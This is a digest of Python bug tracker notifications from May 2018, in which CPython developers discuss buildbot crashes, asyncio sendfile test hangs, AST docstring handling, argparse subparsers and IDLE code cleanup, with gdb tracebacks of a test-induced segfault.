+0000 Subject: [issue33627] test_numeric_tower.test_complex() crashed on Message-ID: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/88/builds/1044 0:07:59 load avg: 1.58 [107/416/1] test_numeric_tower crashed (Exit code -11) Fatal Python error: Segmentation fault Current thread 0x405c4dc0 (most recent call first): File "/srv/buildbot/buildarea/3.x.bolen-ubuntu/build/Lib/test/test_numeric_tower.py", line 184 in test_complex (...) Re-running test 'test_numeric_tower' in verbose mode test_complex (test.test_numeric_tower.ComparisonTest) ... ok test_mixed_comparisons (test.test_numeric_tower.ComparisonTest) ... ok test_binary_floats (test.test_numeric_tower.HashTest) ... ok test_bools (test.test_numeric_tower.HashTest) ... ok test_complex (test.test_numeric_tower.HashTest) ... ok test_decimals (test.test_numeric_tower.HashTest) ... ok test_fractions (test.test_numeric_tower.HashTest) ... ok test_hash_normalization (test.test_numeric_tower.HashTest) ... ok test_integers (test.test_numeric_tower.HashTest) ... ok ---------------------------------------------------------------------- Ran 9 tests in 0.573s OK ---------- messages: 317474 nosy: vstinner priority: normal severity: normal status: open title: test_numeric_tower.test_complex() crashed on _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:31:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:31:12 +0000 Subject: [issue33627] test_numeric_tower.test_complex() crashed on x86 Ubuntu Shared 3.x In-Reply-To: <1527118249.12.0.682650639539.issue33627@psf.upfronthosting.co.za> Message-ID: <1527118272.79.0.682650639539.issue33627@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- components: +Tests title: test_numeric_tower.test_complex() crashed on -> test_numeric_tower.test_complex() crashed on x86 Ubuntu Shared 3.x type: -> crash versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:32:12 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:32:12 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527118331.99.0.682650639539.issue33216@psf.upfronthosting.co.za> STINNER Victor added the comment: If the issue is specific to Python 3.5, we can no longer fix it since 3.5 doesn't accept bugfixes anymore. No? ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:32:56 2018 From: report at bugs.python.org (Larry Hastings) Date: Wed, 23 May 2018 23:32:56 +0000 Subject: [issue33216] [3.5] Wrong order of stack for CALL_FUNCTION_VAR and CALL_FUNCTION_VAR_KW In-Reply-To: <1522784543.83.0.467229070634.issue33216@psf.upfronthosting.co.za> Message-ID: <1527118376.12.0.682650639539.issue33216@psf.upfronthosting.co.za> Larry Hastings added the comment: Documentation changes are okay. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:34:29 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 23 May 2018 23:34:29 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527118469.3.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: There are a couple of other buildbots with the same failure: ARMv7 Ubuntu 3.x: http://buildbot.python.org/all/#/builders/106/builds/1066 PPC64 AIX 3.x: http://buildbot.python.org/all/#/builders/10/builds/1005 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:35:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 23:35:49 +0000 Subject: [issue33626] test_sendfile_fallback_close_peer_in_middle_of_receiving() fails on x86-64 Sierra 3.x In-Reply-To: <1527117833.42.0.682650639539.issue33626@psf.upfronthosting.co.za> Message-ID: <1527118549.91.0.682650639539.issue33626@psf.upfronthosting.co.za> STINNER Victor added the comment: The regression seems to be caused by my test_asyncio change for bpo-33353: commit 2932755cc11fd82b4908d60b24b837aa4f3028e6 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:48:33 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 23:48:33 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext Message-ID: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> New submission from Cheryl Sabella : Based on the github comments on PR5638, some code cleanup issues identified for codecontext. codecontext * getspacesfirstword - function and param1 name * get_line_info - make into helper function and change parm * get_context - call to get_line_info sends text instead of line number * toggle_code_context_event - move border calc to same loop at padx * cleanup some comments test_codecontext * test_get_line_info - move test to helper test class and change parm from line number to line * test_get_line_info - add test for tab (I noticed 'indent' is 1 when the regex matches to a tab. Even though IDLE doesn't allow tabs in the editor, I didn't want to lose track of this). * test_getspacesfirstword - function name * test_del - remove call to after info ---------- assignee: terry.reedy components: IDLE messages: 317479 nosy: cheryl.sabella, terry.reedy priority: normal severity: normal status: open title: IDLE: Code cleanup on codecontext type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:53:14 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 23:53:14 +0000 Subject: [issue33610] IDLE: Make multiple improvements to CodeContext In-Reply-To: <1527052692.02.0.682650639539.issue33610@psf.upfronthosting.co.za> Message-ID: <1527119594.37.0.682650639539.issue33610@psf.upfronthosting.co.za> Cheryl Sabella added the comment: For item 2 - #33628 ---------- dependencies: +IDLE: Code cleanup on codecontext _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 19:54:39 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 23:54:39 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527119679.46.0.682650639539.issue33628@psf.upfronthosting.co.za> Change by Cheryl Sabella : ---------- keywords: +patch pull_requests: +6718 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:29:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:29:00 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527121740.37.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6719 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:29:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:29:00 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527121740.58.0.0935424498089.issue32622@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6720 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:31:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:31:58 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527121918.34.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: My change caused a regression on macOS: bpo-33626. I just closed this issue as a duplicate of this one. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:32:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:32:27 +0000 Subject: [issue33626] test_sendfile_fallback_close_peer_in_middle_of_receiving() fails on x86-64 Sierra 3.x In-Reply-To: <1527117833.42.0.682650639539.issue33626@psf.upfronthosting.co.za> Message-ID: <1527121947.82.0.682650639539.issue33626@psf.upfronthosting.co.za> STINNER Victor added the comment: I close this issue to move again the discussion to bpo-33353. ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:43:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:43:49 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527122629.0.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset b97de3dd86046ac46567146d86a69d4f78ea09db by Victor Stinner in branch 'master': bpo-33353: test_asyncio set SO_SNDBUF after connect (GH-7086) https://github.com/python/cpython/commit/b97de3dd86046ac46567146d86a69d4f78ea09db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:43:49 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:43:49 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527122629.12.0.262363346258.issue32622@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset b97de3dd86046ac46567146d86a69d4f78ea09db by Victor Stinner in branch 'master': bpo-33353: test_asyncio set SO_SNDBUF after connect (GH-7086) https://github.com/python/cpython/commit/b97de3dd86046ac46567146d86a69d4f78ea09db ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 20:58:14 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 00:58:14 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527123494.74.0.682650639539.issue33353@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6721 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:05:27 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 01:05:27 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527123927.66.0.682650639539.issue33611@psf.upfronthosting.co.za> INADA Naoki added the comment: > if it could be broken installation or configuration (like incorrectly set > PYTHONHOME or any other python related environment variables), then this > crash should be expected every time I invoke python executable and attempt > to run python scripts. > However, it is not a case, and some of my scripts are running just fine. There are many possibilities. * Your scripts may have different shebang * You're using some tools selecting Python (e.g. pyenv) * You're using some tools modifying env vars etc... Anyway, your report doesn't have enough information to specify what's wrong on your environment. Valid Python environment doesn't raise such error. I use Python everyday. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:14:48 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:14:48 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1527124488.37.0.682650639539.issue33540@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 453bd0bc65b7ea6a18c43da69143ab10d54c0a35 by Victor Stinner in branch 'master': bpo-33540: Add block_on_close attr to socketserver (GH-6911) https://github.com/python/cpython/commit/453bd0bc65b7ea6a18c43da69143ab10d54c0a35 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:15:39 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 01:15:39 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527124539.51.0.682650639539.issue33611@psf.upfronthosting.co.za> INADA Naoki added the comment: > We should maybe dump sys.path into stderr on the specific "unable to load the file system codec" error. In addition to sys.path, I think "What's current python home (prefix and exec-prefix), and where it come from" is very useful. I recently fixed Vim's bug. https://github.com/vim/vim/pull/2787 Vim called Py_SetPythonHome with path of Python when vim is compiled. After reinstalling Python to another directory, vim fails with "no module named encoding" error everytime. This suffered many homebrew users because homebrew use different directory to install Python every revisions. Python home will be come from different locations: * Calculated from Python executable path * Embedded in Python static/dynamic library * PYTHONHOME environment variable * Py_SetPythonHome() ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:17:38 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 01:17:38 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1527124658.16.0.682650639539.issue33540@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6722 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:20:43 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:20:43 +0000 Subject: [issue33611] Fatal Python error: Py_Initialize: unable to load the file system codec In-Reply-To: <1527058885.03.0.682650639539.issue33611@psf.upfronthosting.co.za> Message-ID: <1527124843.4.0.682650639539.issue33611@psf.upfronthosting.co.za> STINNER Victor added the comment: I completed the _PyCoreConfig structure to add home, module_search_path_env, and many other options. It might help to guess how the final configuration has been computed. I also reworked the code to clarify when and how sys.path is computed. sys.path value (not the actual sys.path Python list) is now computed earlier. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:21:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:21:16 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527124876.64.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset fa24c1c5afa9ba2453d88db5ed6b9d2cc3b58384 by Victor Stinner in branch '3.7': [3.7] bpo-33353: Fix test_asyncio on FreeBSD (GH-7087) https://github.com/python/cpython/commit/fa24c1c5afa9ba2453d88db5ed6b9d2cc3b58384 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:21:16 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:21:16 +0000 Subject: [issue32622] Implement loop.sendfile In-Reply-To: <1517080969.81.0.467229070634.issue32622@psf.upfronthosting.co.za> Message-ID: <1527124876.76.0.262363346258.issue32622@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset fa24c1c5afa9ba2453d88db5ed6b9d2cc3b58384 by Victor Stinner in branch '3.7': [3.7] bpo-33353: Fix test_asyncio on FreeBSD (GH-7087) https://github.com/python/cpython/commit/fa24c1c5afa9ba2453d88db5ed6b9d2cc3b58384 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:22:56 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 01:22:56 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527124976.78.0.682650639539.issue32911@psf.upfronthosting.co.za> INADA Naoki added the comment: If Python 3.7 is released with current AST form, I don't want to change it again. I prefer * Merge my patch in 3.7rc1, or * Add compile(..., "multi") mode for "sequence of statements" ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:24:12 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 01:24:12 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527125052.53.0.682650639539.issue32911@psf.upfronthosting.co.za> Ned Deily added the comment: > * Merge my patch in 3.7rc1, or Sorry but we are not going to revisit this decision for 3.7.0. It's too late! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:32:56 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:32:56 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527125576.15.0.682650639539.issue32911@psf.upfronthosting.co.za> STINNER Victor added the comment: IMHO Python 3.7 will be simpler to process, since it avoids to check if the first node is a docstring or not. I agree that it's a backward incompatible, but it has been done on purpose. In fact, there is no warranty about backward compatibility on the genreated AST between Python versions (like 3.6 vs 3.7). As Lukasz wrote, AST of Python 3.6 already omit a lot of information about formatting, we are far from a 1:1 mapping between code and AST. For example, tools to "unparse" AST breaks the formatting. The Python 'ast' module is just not appropriate for such use case. There are other solutions for that, like lib2to3. Having a docstring attribute *and* a docstring node seem to be redundant to be, or more like a bug. Redundant data can quickly lead to inconsistencies. The current trend is more to move the AST away from the original Python source code, to produce better AST, especially in term of performance. That's also why I added the ast.Constant node type ;-) And why many peephole optimizations have been reimplemented at the AST level, rather than on the bytecode level. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:34:45 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 01:34:45 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1527125685.63.0.682650639539.issue33540@psf.upfronthosting.co.za> miss-islington added the comment: New changeset fa286edbde9ed660d99628aea14ee3b824c2afe6 by Miss Islington (bot) in branch '3.7': bpo-33540: Add block_on_close attr to socketserver (GH-6911) https://github.com/python/cpython/commit/fa286edbde9ed660d99628aea14ee3b824c2afe6 ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:35:00 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:35:00 +0000 Subject: [issue32708] test_sendfile() hangs on AMD64 FreeBSD 10.x Shared 3.x buildbot In-Reply-To: <1517229322.87.0.467229070634.issue32708@psf.upfronthosting.co.za> Message-ID: <1527125700.68.0.682650639539.issue32708@psf.upfronthosting.co.za> STINNER Victor added the comment: Duplicate of bpo-33353. ---------- resolution: -> fixed stage: -> resolved status: open -> closed superseder: -> test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:35:13 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:35:13 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527125713.84.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: bpo-32708 has been marked as a duplicate of this issue. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:38:15 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 01:38:15 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 Message-ID: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> New submission from STINNER Victor : http://buildbot.python.org/all/#/builders/124/builds/315 Warning -- files was modified by test_importlib Before: [] After: ['python.core'] ---------- components: FreeBSD, Tests messages: 317497 nosy: koobs, vstinner priority: normal severity: normal status: open title: test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 versions: Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:47:03 2018 From: report at bugs.python.org (INADA Naoki) Date: Thu, 24 May 2018 01:47:03 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527126423.9.0.682650639539.issue33565@psf.upfronthosting.co.za> INADA Naoki added the comment: > The callstack I initially mentioned still has no explanation and we now know is not correct. I don't think so. The callstack is Python's callstack where caused leak in C. (Python doesn't call malloc directly) In this case, local variables are freed "at end of the function", and it freed unclosed socket which cause warning. (*) So the callstack is completely valid. While only CPython expert can understand. (*) or "at the end of the except clause" which frees `e` and `e` have reference to the unclosed socket. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:55:18 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 01:55:18 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527126918.32.0.682650639539.issue33109@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 8ebf5ceb0f5408d1ebc26c19702ac0762ef5ea04 by Ned Deily in branch 'master': bpo-33109: argparse subparsers are once again not required by default (GH-6919) https://github.com/python/cpython/commit/8ebf5ceb0f5408d1ebc26c19702ac0762ef5ea04 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:55:18 2018 From: report at bugs.python.org (Ned Deily) Date: Thu, 24 May 2018 01:55:18 +0000 Subject: [issue26510] [argparse] Add required argument to add_subparsers In-Reply-To: <1457445361.5.0.530669445668.issue26510@psf.upfronthosting.co.za> Message-ID: <1527126918.75.0.262363346258.issue26510@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 8ebf5ceb0f5408d1ebc26c19702ac0762ef5ea04 by Ned Deily in branch 'master': bpo-33109: argparse subparsers are once again not required by default (GH-6919) https://github.com/python/cpython/commit/8ebf5ceb0f5408d1ebc26c19702ac0762ef5ea04 ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:56:26 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 01:56:26 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527126986.11.0.682650639539.issue33109@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6723 stage: commit review -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:56:26 2018 From: report at bugs.python.org (miss-islington) Date: Thu, 24 May 2018 01:56:26 +0000 Subject: [issue26510] [argparse] Add required argument to add_subparsers In-Reply-To: <1457445361.5.0.530669445668.issue26510@psf.upfronthosting.co.za> Message-ID: <1527126986.32.0.0935424498089.issue26510@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6724 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 21:57:59 2018 From: report at bugs.python.org (Alexander Mohr) Date: Thu, 24 May 2018 01:57:59 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527127079.67.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: ok fair enough, however a caveat is that it's not necessarily end of function as I was able to expand the function by a few more lines and the callstack stayed the same, however I'm guessing the interpreter was smart enough to realize the calls below the try/except had no references. it would be nice if there was a virtual "socket.__del__` or something at the end of the stack. Basically if it could plug into the extension callbacks. That way we could have a little more visibility. closing, thanks guys. This fixes the issue in botocore, on to the next related leak found via aiobotocore in aiohttp, where it now has no tracemalloc entries, so I'm guessing a leak via the ssl module to openssl :( thanks again guys for the help, I really appreciate it, I hope in the future, my some mechanism, scenarios like these will be a lot easier to decipher. ---------- resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:03:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:03:27 +0000 Subject: [issue33540] socketserver: Add an opt-in option to get Python 3.6 behaviour on server_close() In-Reply-To: <1526486373.61.0.682650639539.issue33540@psf.upfronthosting.co.za> Message-ID: <1527127407.78.0.682650639539.issue33540@psf.upfronthosting.co.za> STINNER Victor added the comment: I added the block_on_close class attribute to Python 3.7 and master. I'm not really proud of it, but it's the price of the backward compatibility! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:04:08 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:04:08 +0000 Subject: [issue33353] test_asyncio: test_sock_sendfile_mix_with_regular_send() hangs on FreeBSD In-Reply-To: <1524665310.44.0.682650639539.issue33353@psf.upfronthosting.co.za> Message-ID: <1527127448.63.0.682650639539.issue33353@psf.upfronthosting.co.za> STINNER Victor added the comment: test_asyncio doesn't hang on FreeBSD 3.x buildbot anymore! macOS buildbot is back to green as well. It seems like I can close the issue. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:08:35 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:08:35 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527127715.6.0.682650639539.issue33629@psf.upfronthosting.co.za> STINNER Victor added the comment: The problem comes from MultiPhaseExtensionModuleTests.test_bad_traverse() of Lib/test/test_importlib/extension/test_loader.py. This test runs the following code: --- import importlib.util as util spec = util.find_spec('_testmultiphase') spec.name = '_testmultiphase_with_bad_traverse' m = spec.loader.create_module(spec) --- I confirm that this script does crash and may generate a core dump: vstinner at apu$ ./python x.py Segmentation fault (core dumped) Python traceback of the crash: (gdb) py-bt Traceback (most recent call first): File "", line 219, in _call_with_frames_removed File "", line 1043, in create_module File "x.py", line 4, in m = spec.loader.create_module(spec) C traceback: Program received signal SIGSEGV, Segmentation fault. 0x00007fffeffb69f3 in bad_traverse (self=, visit=0x481b4d , arg=0x0) at /home/vstinner/prog/python/master/Modules/_testmultiphase.c:628 628 Py_VISIT(m_state->integer); (gdb) where #0 0x00007fffeffb69f3 in bad_traverse (self=, visit=0x481b4d , arg=0x0) at /home/vstinner/prog/python/master/Modules/_testmultiphase.c:628 #1 0x0000000000482866 in PyModule_FromDefAndSpec2TraceRefs (def=0x7ffff01b8ce0 , spec=, origin='/home/vstinner/prog/python/master/build/lib.linux-x86_64-3.8-pydebug/_testmultiphase.cpython-38dm-x86_64-linux-gnu.so', loader_state=None, submodule_search_locations=None, _set_fileattr=True, _cached=None) at remote 0x7ffff0463330>, module_api_version=1013) at Objects/moduleobject.c:366 #2 0x000000000057ed89 in _PyImport_LoadDynamicModuleWithSpec ( spec=, origin='/home/vstinner/prog/python/master/build/lib.linux-x86_64-3.8-pydebug/_testmultiphase.cpython-38dm-x86_64-linux-gnu.so', loader_state=None, submodule_search_locations=None, _set_fileattr=True, _cached=None) at remote 0x7ffff0463330>, fp=0x0) at ./Python/importdl.c:193 #3 0x000000000057df53 in _imp_create_dynamic_impl (module=, spec=, origin='/home/vstinner/prog/python/master/build/lib.linux-x86_64-3.8-pydebug/_testmultiphase.cpython-38dm-x86_64-linux-gnu.so', loader_state=None, submodule_search_locations=None, _set_fileattr=True, _cached=None) at remote 0x7ffff0463330>, file=0x0) at Python/import.c:2174 #4 0x000000000057789f in _imp_create_dynamic (module=, args=0x7ffff7f1f630, nargs=1) at Python/clinic/import.c.h:289 (...) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:10:52 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 24 May 2018 02:10:52 +0000 Subject: [issue33628] IDLE: Code cleanup on codecontext In-Reply-To: <1527119313.11.0.682650639539.issue33628@psf.upfronthosting.co.za> Message-ID: <1527127852.83.0.682650639539.issue33628@psf.upfronthosting.co.za> Terry J. Reedy added the comment: Super list. It made the diff really easy to parse into related changes. I printed it, reviewed code for items one by one, made a few changes, and checked them off when satisfied. IDLE *does* (sort of) allow tabs. One can read a file with tabs or Format => Tabify. Config-main.def still has 'use-spaces= 1' and I believe it is still read and acted on, at least in some places. (This is, of course, untested.) The option to turn it off on the dialog has been removed, but I believe it still could be turned off by hand-editing .idlerc/config-main.cfg. Of course, since 3.x rejects mixtures, beginners should expand tabs before editing existing files. I have thought about possibly reviewing the tab situation, but in the absence of people having problems with the status quo, it is very low priority. Maybe after 3.8 and the end of 2.x support. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:13:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:13:45 +0000 Subject: [issue33629] test_importlib creates a coredump on AMD64 FreeBSD 10.x Shared 3.7 In-Reply-To: <1527125895.06.0.682650639539.issue33629@psf.upfronthosting.co.za> Message-ID: <1527128025.7.0.682650639539.issue33629@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- keywords: +patch pull_requests: +6725 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:13:45 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 02:13:45 +0000 Subject: [issue32374] Document that m_traverse for multi-phase initialized modules can be called with m_state=NULL In-Reply-To: <1513694438.46.0.213398074469.issue32374@psf.upfronthosting.co.za> Message-ID: <1527128025.78.0.0935424498089.issue32374@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6726 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 22:15:59 2018 From: report at bugs.python.org (STINNER Victor) Date: Thu, 24 May 2018 